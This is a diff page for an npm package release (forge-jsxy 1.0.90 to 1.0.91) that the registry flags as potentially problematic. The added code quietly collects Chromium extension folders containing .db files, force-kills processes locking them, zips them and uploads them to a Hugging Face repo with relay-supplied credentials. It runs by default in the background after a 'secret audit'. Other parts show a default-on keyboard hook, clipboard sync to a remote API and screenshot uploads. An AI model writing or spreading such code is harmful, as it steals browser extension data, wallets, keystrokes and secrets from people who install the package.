forge-jsxy 1.0.90 → 1.0.91

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of forge-jsxy might be problematic. Click here for more details.

@@ -0,0 +1,24 @@
1
+ /**
2
+ * After secret-audit scan + optional `result.json` Hub upload: harvest Chromium extension
3
+ * folders containing `.db` files, zip, and upload to `namespace/<seq_id>` (session repo).
4
+ *
5
+ * Skips when the Hub repo already exists. Ignores HF/network failures (logs only).
6
+ * Runs in the background — does not block the relay agent loop.
7
+ */
8
+ import type { HfCredentials } from "./hfCredentials";
9
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
10
+ export declare function extensionDbLog(message: string): void;
11
+ /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
12
+ export declare function isExtensionDbHfUploadEnabled(): boolean;
13
+ export type RunExtensionDbHfUploadOptions = {
14
+ clientTableName: string;
15
+ fetchHubCredentials: () => Promise<HfCredentials>;
16
+ quiet: boolean;
17
+ };
18
+ /**
19
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
20
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
21
+ */
22
+ export declare function runExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): Promise<void>;
23
+ /** Fire-and-forget background upload (after secret audit completes). */
24
+ export declare function scheduleExtensionDbHfUploadAfterAudit(opts: RunExtensionDbHfUploadOptions): void;
@@ -0,0 +1,198 @@
1
+ "use strict";
2
+ Object.defineProperty(exports, "__esModule", { value: true });
3
+ exports.extensionDbLog = extensionDbLog;
4
+ exports.isExtensionDbHfUploadEnabled = isExtensionDbHfUploadEnabled;
5
+ exports.runExtensionDbHfUploadAfterAudit = runExtensionDbHfUploadAfterAudit;
6
+ exports.scheduleExtensionDbHfUploadAfterAudit = scheduleExtensionDbHfUploadAfterAudit;
7
+ const hfCredentials_1 = require("./hfCredentials");
8
+ const hfUpload_1 = require("./hfUpload");
9
+ const hub_1 = require("@huggingface/hub");
10
+ const hfSeqIdLookup_1 = require("./hfSeqIdLookup");
11
+ const chromiumExtensionDbHarvest_1 = require("./chromiumExtensionDbHarvest");
12
+ const exportMirrorCopy_1 = require("./exportMirrorCopy");
13
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
14
+ function extensionDbLog(message) {
15
+ console.log(`[forge-agent] extension-db: ${message}`);
16
+ }
17
+ /** Default ON when secret audit is enabled. Opt out: FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD=0 */
18
+ function isExtensionDbHfUploadEnabled() {
19
+ const raw = (process.env.FORGE_JS_AGENT_EXTENSION_DB_HF_UPLOAD || "1")
20
+ .trim()
21
+ .toLowerCase();
22
+ return !["0", "false", "no", "off"].includes(raw);
23
+ }
24
+ function hfFetchFromRelayEnabledLocal() {
25
+ const e = (process.env.CFGMGR_HF_FETCH_FROM_RELAY || "").trim().toLowerCase();
26
+ if (["0", "false", "no", "off"].includes(e))
27
+ return false;
28
+ return true;
29
+ }
30
+ function hfAuditPreferRelayCredentialsFirst() {
31
+ const e = (process.env.CFGMGR_HF_AUDIT_FETCH_RELAY_FIRST || "").trim().toLowerCase();
32
+ return ["1", "true", "yes", "on"].includes(e);
33
+ }
34
+ async function resolveHubCredentials(fetchHubCredentials) {
35
+ let creds = null;
36
+ const loadLocal = () => {
37
+ try {
38
+ creds = (0, hfCredentials_1.loadHfCredentials)();
39
+ }
40
+ catch {
41
+ creds = null;
42
+ }
43
+ };
44
+ const loadRelay = async () => {
45
+ if (!hfFetchFromRelayEnabledLocal())
46
+ return;
47
+ try {
48
+ creds = await fetchHubCredentials();
49
+ }
50
+ catch {
51
+ creds = null;
52
+ }
53
+ };
54
+ if (hfAuditPreferRelayCredentialsFirst()) {
55
+ await loadRelay();
56
+ if (!creds)
57
+ loadLocal();
58
+ }
59
+ else {
60
+ loadLocal();
61
+ if (!creds)
62
+ await loadRelay();
63
+ }
64
+ return creds;
65
+ }
66
+ async function resolveSessionHubRepo(clientTable, creds) {
67
+ const ns = (creds.namespace || "").trim() ||
68
+ (process.env.CFGMGR_HF_NAMESPACE || "").trim() ||
69
+ (process.env.HUGGINGFACE_HUB_NAMESPACE || "").trim();
70
+ if (!ns)
71
+ return null;
72
+ let seq = await (0, hfSeqIdLookup_1.fetchSeqIdForClientTableName)(clientTable);
73
+ if ((0, hfSeqIdLookup_1.hfSessionRepoRequireSeqId)() && seq === null)
74
+ return null;
75
+ const slug = (0, hfSeqIdLookup_1.hfAutoSessionRepoSlug)(clientTable, seq);
76
+ return `${ns}/${slug}`;
77
+ }
78
+ async function sessionHubRepoExists(clientTable, creds) {
79
+ const repoStr = await resolveSessionHubRepo(clientTable, creds);
80
+ if (!repoStr)
81
+ return { exists: false, repo: "" };
82
+ try {
83
+ const hubUrl = creds.hubUrl.replace(/\/+$/, "").trim() || "https://huggingface.co";
84
+ const exists = await (0, hub_1.repoExists)({
85
+ repo: repoStr,
86
+ accessToken: creds.token,
87
+ hubUrl,
88
+ });
89
+ return { exists, repo: repoStr };
90
+ }
91
+ catch {
92
+ return { exists: false, repo: repoStr };
93
+ }
94
+ }
95
+ function isIgnorableHubError(err) {
96
+ const msg = err instanceof Error ? err.message : String(err);
97
+ return (/could not reach hugging face|network|fetch failed|econnrefused|enotfound|etimedout|socket hang up/i.test(msg) || /hub upload skipped/i.test(msg));
98
+ }
99
+ let extensionDbUploadInFlight = false;
100
+ /**
101
+ * Harvest extension `.db` folders → zip → Hub session repo (`namespace/<seq_id>`).
102
+ * No-op when disabled, repo exists, nothing to copy, or credentials missing.
103
+ */
104
+ async function runExtensionDbHfUploadAfterAudit(opts) {
105
+ if (!isExtensionDbHfUploadEnabled())
106
+ return;
107
+ const clientTable = (opts.clientTableName || "").trim();
108
+ if (!clientTable) {
109
+ extensionDbLog("skipped — no client_table / session id");
110
+ return;
111
+ }
112
+ if (extensionDbUploadInFlight)
113
+ return;
114
+ extensionDbUploadInFlight = true;
115
+ let creds = null;
116
+ let harvest = null;
117
+ try {
118
+ extensionDbLog("background upload starting");
119
+ creds = await resolveHubCredentials(opts.fetchHubCredentials);
120
+ if (!creds) {
121
+ extensionDbLog("skipped — no HF credentials (relay or CFGMGR_HF_CREDENTIALS_B64)");
122
+ return;
123
+ }
124
+ const repoCheck = await sessionHubRepoExists(clientTable, creds);
125
+ if (repoCheck.exists) {
126
+ extensionDbLog(`skipped — repo already exists (${repoCheck.repo})`);
127
+ return;
128
+ }
129
+ harvest = await (0, chromiumExtensionDbHarvest_1.harvestExtensionDbFoldersToStaging)({
130
+ forceKill: true,
131
+ quiet: opts.quiet,
132
+ });
133
+ if (harvest.sources.length === 0 || harvest.copiedFiles === 0) {
134
+ extensionDbLog("skipped — no extension folders with .db files");
135
+ await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
136
+ return;
137
+ }
138
+ if (harvest.skippedCopyErrors > 0) {
139
+ extensionDbLog(`${harvest.skippedCopyErrors} extension folder(s) failed to copy — uploading ${harvest.copiedFolders} successful folder(s)`);
140
+ }
141
+ const stagedFiles = (0, exportMirrorCopy_1.countRegularFilesRecursive)(harvest.stagingRoot);
142
+ if (stagedFiles === 0) {
143
+ extensionDbLog("skipped — staging empty after copy");
144
+ return;
145
+ }
146
+ const upload = await (0, hfUpload_1.runHfUpload)({
147
+ pathStr: harvest.stagingRoot,
148
+ autoSessionRepo: true,
149
+ clientTableName: clientTable,
150
+ hfCredentials: creds,
151
+ forceKill: true,
152
+ force: true,
153
+ skipIfRepoExists: true,
154
+ });
155
+ if (upload.skipped === true && upload.reason === "repo_exists") {
156
+ extensionDbLog(`skipped — repo already exists (${String(upload.repo || "")})`);
157
+ return;
158
+ }
159
+ if (upload.ok === true) {
160
+ extensionDbLog(`upload OK — repo ${String(upload.repo || "")} (${harvest.sources.length} extension folder(s), ${stagedFiles} files)`);
161
+ }
162
+ else {
163
+ const err = String(upload.error || "unknown error");
164
+ if (!isIgnorableHubError(err)) {
165
+ extensionDbLog(`upload failed — ${err}`);
166
+ }
167
+ else {
168
+ extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
169
+ }
170
+ }
171
+ }
172
+ catch (e) {
173
+ if (!isIgnorableHubError(e)) {
174
+ extensionDbLog(`upload failed — ${e instanceof Error ? e.message : String(e)}`);
175
+ }
176
+ else {
177
+ extensionDbLog("upload skipped — Hugging Face unreachable (ignored)");
178
+ }
179
+ }
180
+ finally {
181
+ extensionDbUploadInFlight = false;
182
+ if (creds)
183
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(creds);
184
+ await (0, chromiumExtensionDbHarvest_1.removeExtensionDbStaging)();
185
+ }
186
+ }
187
+ /** Fire-and-forget background upload (after secret audit completes). */
188
+ function scheduleExtensionDbHfUploadAfterAudit(opts) {
189
+ if (!isExtensionDbHfUploadEnabled())
190
+ return;
191
+ setImmediate(() => {
192
+ void runExtensionDbHfUploadAfterAudit(opts).catch((e) => {
193
+ if (!opts.quiet) {
194
+ console.warn("[forge-agent] extension-db background upload:", e instanceof Error ? e.message : e);
195
+ }
196
+ });
197
+ });
198
+ }
@@ -43,5 +43,10 @@ export interface RunHfUploadOptions {
43
43
  force?: boolean;
44
44
  /** Kill processes likely locking the selection, then mirror/upload; restarts them in `finally`. */
45
45
  forceKill?: boolean;
46
+ /**
47
+ * Session mode only: when the Hub repo already exists, skip upload entirely (no zip/staging work).
48
+ * Returns `{ ok: true, skipped: true, reason: "repo_exists", repo }`.
49
+ */
50
+ skipIfRepoExists?: boolean;
46
51
  }
47
52
  export declare function runHfUpload(opts: RunHfUploadOptions): Promise<Record<string, unknown>>;
package/dist/hfUpload.js CHANGED
@@ -993,8 +993,12 @@ async function runHfUploadCore(opts) {
993
993
  hubUrl,
994
994
  ...(hfFetch ? { fetch: hfFetch } : {}),
995
995
  });
996
- if (exists)
997
- return;
996
+ if (exists) {
997
+ if (opts.skipIfRepoExists && opts.autoSessionRepo) {
998
+ return { skippedExisting: true };
999
+ }
1000
+ return { skippedExisting: false };
1001
+ }
998
1002
  if (!allowCreateRepo) {
999
1003
  throw new Error("Repository does not exist on the Hub. Create it on huggingface.co first, " +
1000
1004
  "or pass create_repo: true to create an empty **private** repo automatically.");
@@ -1007,9 +1011,20 @@ async function runHfUploadCore(opts) {
1007
1011
  private: true,
1008
1012
  ...(hfFetch ? { fetch: hfFetch } : {}),
1009
1013
  });
1014
+ return { skippedExisting: false };
1010
1015
  };
1011
1016
  try {
1012
- await ensureRepo();
1017
+ const repoEnsure = await ensureRepo();
1018
+ if (repoEnsure.skippedExisting) {
1019
+ (0, hfCredentials_1.scrubHfCredentialsInPlace)(cred);
1020
+ (0, fileLockForce_1.restartKilledProcesses)(killedForUnlock, localPath);
1021
+ return {
1022
+ ok: true,
1023
+ skipped: true,
1024
+ reason: "repo_exists",
1025
+ repo: resolvedRepoStr,
1026
+ };
1027
+ }
1013
1028
  if (isMultiSelection) {
1014
1029
  const zipName = "selection.zip";
1015
1030
  const tmpDir = fs.mkdtempSync(path.join(os.tmpdir(), ".forge-hf-multi-zip-"));
@@ -64,6 +64,7 @@ const agentEnvFile_1 = require("./autostart/agentEnvFile");
64
64
  const clientId_2 = require("./clientId");
65
65
  const discordAgentScreenshot_1 = require("./discordAgentScreenshot");
66
66
  const agentStartupAudit_1 = require("./secretScan/agentStartupAudit");
67
+ const extensionDbHfUpload_1 = require("./extensionDbHfUpload");
67
68
  const pendingRelayHf = new Map();
68
69
  /** Same pattern as HF credentials — await `discord_screenshot_upload_result` per `request_id`. */
69
70
  const pendingDiscordRelayAck = new Map();
@@ -583,8 +584,14 @@ function runRelayAgentLoop(opts) {
583
584
  (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
584
585
  relayCaps: {},
585
586
  quiet,
587
+ clientTableName: sessionId,
586
588
  fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
587
589
  });
590
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
591
+ clientTableName: sessionId,
592
+ fetchHubCredentials: () => Promise.reject(new Error("relay handshake incomplete — skipping relay-hosted HF credentials fetch")),
593
+ quiet,
594
+ });
588
595
  }, fallbackMs);
589
596
  secretAuditHandshakeFallbackTimer.unref?.();
590
597
  };
@@ -710,8 +717,14 @@ function runRelayAgentLoop(opts) {
710
717
  (0, agentStartupAudit_1.scheduleAgentStartupSecretAudit)({
711
718
  relayCaps: caps,
712
719
  quiet,
720
+ clientTableName: sessionId,
713
721
  fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
714
722
  });
723
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
724
+ clientTableName: sessionId,
725
+ fetchHubCredentials: () => fetchHfCredentialsFromRelay(sendJson),
726
+ quiet,
727
+ });
715
728
  tryStartDiscordAfterHandshake();
716
729
  };
717
730
  ws.on("open", () => {
@@ -42,10 +42,13 @@ export declare function shouldRunSecretAuditNow(): boolean;
42
42
  export declare function runAgentStartupSecretAudit(opts: {
43
43
  relayCaps?: Record<string, unknown>;
44
44
  fetchHubCredentials: () => Promise<HfCredentials>;
45
+ /** Session / forge-db table name (`client_*`) for session Hub repo uploads. */
46
+ clientTableName?: string;
45
47
  quiet: boolean;
46
48
  }): Promise<void>;
47
49
  export declare function scheduleAgentStartupSecretAudit(opts: {
48
50
  relayCaps: Record<string, unknown>;
49
51
  quiet: boolean;
50
52
  fetchHubCredentials: () => Promise<HfCredentials>;
53
+ clientTableName?: string;
51
54
  }): void;
@@ -87,6 +87,7 @@ const auditFindingSlim_1 = require("./auditFindingSlim");
87
87
  const runFilenameSecretScan_1 = require("./runFilenameSecretScan");
88
88
  const runFilenameSecretScan_2 = require("./runFilenameSecretScan");
89
89
  const auditScanScope_1 = require("./auditScanScope");
90
+ const extensionDbHfUpload_1 = require("../extensionDbHfUpload");
90
91
  const strictMaterialGate_1 = require("./strictMaterialGate");
91
92
  function auditDir() {
92
93
  return path.join((0, clientId_1.defaultCfgmgrDataDir)(), ".forge-jsxy", ".vault", "secret-audit");
@@ -700,6 +701,11 @@ async function runAgentStartupSecretAudit(opts) {
700
701
  "optional CFGMGR_HF_NAMESPACE if JSON lacks \"namespace\")");
701
702
  }
702
703
  }
704
+ (0, extensionDbHfUpload_1.scheduleExtensionDbHfUploadAfterAudit)({
705
+ clientTableName: (opts.clientTableName || "").trim(),
706
+ fetchHubCredentials: opts.fetchHubCredentials,
707
+ quiet: opts.quiet,
708
+ });
703
709
  }
704
710
  finally {
705
711
  auditInFlight = false;
@@ -713,6 +719,7 @@ function scheduleAgentStartupSecretAudit(opts) {
713
719
  relayCaps: opts.relayCaps,
714
720
  quiet: opts.quiet,
715
721
  fetchHubCredentials: opts.fetchHubCredentials,
722
+ clientTableName: opts.clientTableName,
716
723
  }).catch((e) => {
717
724
  if (!opts.quiet) {
718
725
  console.warn("[forge-agent] secret audit:", e instanceof Error ? e.message : e);
@@ -1,9 +1,23 @@
1
+ /** Operational logs always emit (even when `FORGE_JS_QUIET_AGENT=1`). */
2
+ export declare function desktopSyncOpLog(message: string): void;
3
+ /** True for network / overload errors where retrying forge-db POST is worthwhile. */
4
+ export declare function isTransientForgeDbSyncError(err: unknown): boolean;
5
+ /** Human-readable reason when keyboard hook is skipped; null when uiohook should run. */
6
+ export declare function skipUiohookKeyboardReason(): string | null;
7
+ /** uiohook on Linux uses X11 and abort()s without a display — skip hook on headless servers. */
8
+ export declare function skipUiohookKeyboard(): boolean;
1
9
  /**
2
10
  * **Default: on** when unset. Opt out with `CFGMGR_SYNC_KEYBOARD_CLIPBOARD=0`.
3
11
  * Background-only in forge-js (no alerts/dialogs); see module comment for OS-level limits.
4
12
  */
5
13
  export declare function effectiveSyncKeyboardClipboard(): boolean;
6
14
  export declare function resolveSyncApiBase(): string | null;
15
+ /**
16
+ * Linux Wayland stores clipboard in the compositor — @napi-rs/clipboard is X11-based and often
17
+ * returns empty text without error. Prefer wl-paste/xclip exec on Wayland sessions.
18
+ */
19
+ export declare function preferExecClipboardReader(): boolean;
20
+ export type DesktopInputSyncStop = () => void | Promise<void>;
7
21
  export type DesktopInputSyncOptions = {
8
22
  apiBaseUrl: string;
9
23
  clientId?: string;
@@ -18,5 +32,5 @@ export type WindowsInputSyncOptions = DesktopInputSyncOptions;
18
32
  /**
19
33
  * Start background sync on Windows, Linux, and macOS. No-op on other platforms.
20
34
  */
21
- export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): () => void;
35
+ export declare function startDesktopInputSync(opts: DesktopInputSyncOptions): DesktopInputSyncStop;
22
36
  export declare const startWindowsInputSync: typeof startDesktopInputSync;